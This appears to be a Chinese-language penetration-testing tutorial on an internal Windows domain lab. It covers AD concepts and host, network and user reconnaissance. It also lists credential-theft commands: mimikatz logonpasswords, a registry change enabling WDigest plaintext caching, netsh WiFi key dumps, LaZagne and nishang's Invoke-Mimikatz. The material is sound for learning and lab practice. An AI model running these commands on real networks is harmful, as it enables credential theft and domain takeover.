域环境&工作组&局域网探针方案

d7ade6fd78206074e16c725e387e6ce6

基本理论

ef21f9497cc914eae0e16b32ae641f08

DMZ

  • 英文全名“Demilitarized Zone”,中文含义是“隔离区”,在安全领域的具体含义是“内外网防火墙之间的区域”。DMZ区是一个缓冲区,在DMZ区存放着一些公共服务器,比如论坛等

工作组 VS 域环境

  • 工作组:地位平等,管理分散,没有集中管理。
  • 域环境:地位不平等,管理集中,实现集中管理。
  • 域环境也可以简单的理解为工作组的升级版,更好管理。
  • 这里我们把域环境和工作组区分开来是因为他们的攻击手段不同,工作组中的攻击手法如DNS劫持、ARP欺骗在域环境下是没有作用的。有一些攻击手段需要一些条件,这些条件在域环境下没有,相应的攻击手段就会失效。

域控制器DC

  • 域控DC是这个域中的管理者,域里面的最高权限,判断是否拿下整个域,就是看你是否拿下这台域控制器

AD(活动目录)

  • 是微软所提供的目录服务(查询,身份验证),活动目录的核心包含了活动目录数据库,在活动目录数据库中包含了域中所有的对象(用户,计算机,组…),活动目录(Active Directory)是面向Windows Standard Server、Windows Enterprise Server 以及Windows Datacenter Server的目录服务。Active Directory储存了有关网络对象的信息,并且让管理员和用户能够轻松的查找和使用这些信息,Active Directory使用了一种结构化的数据储存方式,并以此作为基础对目录信息进行合乎逻辑的分层组织

linux域渗透问题

  • Q:AD域控制器只在windows server系统能做吗?Linux可以?
  • A:linux上也有相应的活动目录的,不过要装LDAP环境,一般企很少会用LDAP来管理的,因为功能上不及域强大,而且用linux来管理的话要求技术人员门槛也比较高,个人认为Linux还是比较适合做服务器好一点。(就是说Linux上面的域环境需要环境支撑,而且功能没有windows上的域强大,所以大部分我们遇见的都是windows,这也是没有Linux的原因。当然,Linux这个操作系统也是可以加入域的,比如域内有Linux的操作系统,有Linux的服务器也行,只是很少)

局域网技术适用问题

  • 不同的攻击技术手段适用面不同,这个我们要有所了解,比如arp欺骗适用于局域网,而不适用于域。

大概内网安全流程问题

  • 熟悉基础概念-信息收集-后续探针-权限提升-横向渗透-权限维持

案例演示

环境介绍

  • 下图属于单域环境,Windows2008R2作为域控DC,有五个域成员主机,fileserver文件服务器、SqlServer数据库服务器、webserver网站服务器和两台个人PC。他们都是在192.168.3.0这个网段,网站服务器有两个网卡,一个在3.31一个在230.131,这个230.133就好比是它的一个对外出口(外网接口),kali攻击机就好比攻击者,它通过230.131这个接口进入网站服务器计算机,由于这台计算机是处于内网连接,所有它享有3这个网段的访问权限。拿下网站服务器后的首要攻击目标就是DC!只要拿下DC,也就相当于同时拿下了所有域成员主机权限

6a55402ae69cb634b8ae99105c097b60

基本信息收集操作演示

旨在了解当前服务器的计算机基本信息,为后续判断服务器角色,网络环境等做准备。

1
2
3
4
systeminfo 详细信息(操作系统版本、补丁编号等信息)
net start 启动服务(查看当前主机开启了哪些服务,从服务中就可以判断它是什么角色)
tasklist 进程列表(查看当前主机开启了哪些进程)
schtasks 计划任务(若报错无法加载列资源,说明你的权限不够,因此要提权才能使用该命令)

Snipaste_2023-08-01_14-11-19

网络信息收集操作演示

1
2
3
4
5
ipconfig /all 					#判断存在域-最简单方式查看主DNS后缀
net view /domain #判断存在域
net time /domain #判断主域(主域就是域控的意思)【在域环境下查看当前时间】
nslookup <域控制器全名> #追踪来源地址
netstat -ano #当前网络端口开放
  • ipconfig /all查看主DNS后缀,这就是当前最简单最直接判断当前服务器是域环境还是单纯的工作组局域网环境!有域的话会有主DNS,因为在域环境里面通常会由DNS解析服务器。这是第一个判断标准。

    Snipaste_2023-08-01_14-12-15

Snipaste_2023-08-01_14-13-48

Snipaste_2023-08-01_14-14-14

  • net time /domain判断主域(主域就是域控的意思),net time /domain可以判断主域,是因为域成员计算机的时间一般会以域控制器为准,所以当执行net time /domain命令时,该计算机会去域控获取时间,此时返回的OWA2010CN-God.god.org就是域控的计算机全名。然后可以通过nslookup来最终确认域控IP

  • 每一台计算机名字都是基于域名下面生成的(如SqlServer.god.org),另外,如果找到了god.org,sqlserver.god.org,xiaodi.sqlserver.god.org之类的计算机全名,说明当前环境存在多域,sqlserver.god.orgxiaodi.sqlserver.god.org的父域,xiaodi.sqlserver.god.org是子域

  • nslookup <域控制器全名>追踪来源地址,OWA2010CN-God.god.org就是域控的计算机全名,我们可以通过nslookupping命令去ping这个名字来获取域控的对应ip地址

Snipaste_2023-08-01_14-15-26

Snipaste_2023-08-01_17-12-52

用户信息收集操作演示

了解当前计算机或域环境下的用户及用户组信息,便于后期利用凭据进行测试

  • 系统默认常见用户身份
1
2
3
4
5
6
7
8
9
Domain Admains:域管理员(默认对域控制器有完全控制权)
Domain Computers:域内机器
Domain Controllers:域控制器
Domain Guest:域访客,权限低
Domain users:域用户
Enterprise Admains:企业系统管理员用户(默认对域控有完整控制权)

我们主要攻击Domain Admains和Enterprise Admains
大部分成员主机在Domain users域用户里
  • 相关用户收集操作命令
1
2
3
4
5
6
7
8
9
10
11
whoami /all 用户权限
net config workstation 登录信息
net user 当前电脑里面的用户(本地用户)
net localgroup 本地用户组
net user /domain 当前域里面的用户
net group /domain 获取域用户组信息
wmic useraccount get /all 涉及域用户详细信息
net group "Domain Admins" /domain 查询域管理员账户
net group "Domain users" /domain 查询域用户
net group "Enterprise Admins" /domain 查询管理员用户组
net group "Domain Controllers" /domain 查询域控制器

Snipaste_2023-08-01_14-15-59

Snipaste_2023-08-01_17-13-57

Snipaste_2023-08-01_17-14-28

Snipaste_2023-08-01_17-14-54

Snipaste_2023-08-01_17-15-15

收集用户信息的作用

  • 先找到域用户名,为后续进行密码账号的攻击做准备,后续攻击是可以用这些真实的用户名套用密码字典进行暴力破解,一旦找到对应的密码就可以登录计算机进行后续操作。看看用户名在哪个组,我就有什么权限
  • net user获取当前电脑里面的用户(本地用户),对于本地用户,当前计算机可通过用户名密码登录
  • net user /domain获取当前域里面的用户,对于域用户,当前计算机是否可登录,受活动目录限制,若权限不够,是不能登录的

凭据信息收集操作演示

收集各种密文,明文,口令等,为后续横向渗透做好测试准备

1
2
3
4
5
6
7
8
9
10
11
12
13
计算机用户HASH,明文获取   -mimikatz(win),mimipenguin(linux)
计算机各种协议服务口令获取 -LaZagne(all,win&linux),XenArmor(win)

Netsh WLAN show profiles //查询所有连接过的wifi名称
Netsh WLAN show profile name ="无线名称" key =clear //查询某wifi密码

获取凭据的方法:
1.站点源码备份文件,数据库备份文件等
2.各类数据库WEB管理入口,如PHPmyadmin
3.浏览器保存密码,浏览器cookies
4.其他用户会话,3389和ipc$连接记录,回收站内容
5.windows 保存的WIFI密码
6.网络内部的各种账号和密码,如:Email,VPN,FTP,OA等

获取计算机用户名密码 mimikatz & mimipenguin

注意:mimikatz运行需要域管理员权限,域用户无法运行,因为权限不够

使用:

1
2
privilege::debug
sekurlsa::logonpasswords

当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。

1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

Snipaste_2023-08-01_14-32-51

在windows2012以上的系统不能直接获取明文密码了,当可以搭配procdump+mimikatz获取密码。

1
https://blog.csdn.net/weixin_40412037/article/details/113348310

Snipaste_2023-08-01_14-55-02

获取计算机各种协议服务口令 LaZagne(all,win&linux) & XenArmor(win)

1
2
用法:
LaZagne.exe all

Snipaste_2023-08-01_15-03-48

XenArmor

Snipaste_2023-08-01_13-00-14

探针主机域控架构服务操作演示

为后续横向思路做准备,针对应用,协议等各类攻击手法(探针域内主机角色及服务信息,利用开放端口服务及计算机名判断)

1
2
3
下载地址:
http://unixwiz.net/tools/nbtscan.html#download
https://github.com/samratashok/nishang

探针域内存活(在线)主机及地址信息

nbtscan 192.168.70.0/24 第三方工具(类似于nmap,但是会标注域用户名和dc)

1
nbtscan-1.0.35.exe 192.168.70.0/24

Snipaste_2023-08-01_15-16-24

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL="(用for循环去ping1-254网段的主机,这是自带内部命令,不会被杀毒软件拦截)

—这个没有域用户名和dc识别

其它探针方式如:nmap(易拦截)、masscan、第三方PowerShell脚本(windows的脚本开发语言)、nishang(推荐)、empire(推荐)等

Nishang

导入之前加一句,nishang的使用是要在PowerShell 3.0以上的环境中才可以正常使用。也就是说win7下是有点小问题的(我这里并没有遇到)。因为win7下自带的环境是PowerShell 2.0

进入powershell,进入Nishang

1
2
Set-ExecutionPolicy RemoteSigned
Import-Module .\nishang.psm1

Snipaste_2023-08-01_15-32-35

1
2
3
Get-Command -Module nishang 			  #得到的命令来自nishang模块
Check-VN #检测是否是虚拟机版本(这个没有成功)
Get-Information #获取常规计算机信息

Snipaste_2023-08-01_15-33-42

Snipaste_2023-08-01_15-37-00

获取计算机密码

加载mimikatz获取计算机密码

如果是简单密码可以直接显示出来,复杂密码显示hash值

1
Invoke-Mimikatz

Snipaste_2023-08-01_15-39-12

端口扫描

扫描192.168.184.125-192.168.184.130所有存活主机,以及存活主机开放的端口

1
2
3
Invoke-PortScan -StartAddress 开始ip -EndAddress 结束ip -ResolveHost -ScanPort
例子:
Invoke-PortScan -StartAddress 192.168.70.145 -EndAddress 192.168.70.145 -ResolveHost -ScanPort

注意:
如果报错提示:win10 ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory

需要win10以管理员身份运行powershell即可解决该问题

其他使用方法:

1
https://blog.csdn.net/weixin_40412037/article/details/115510209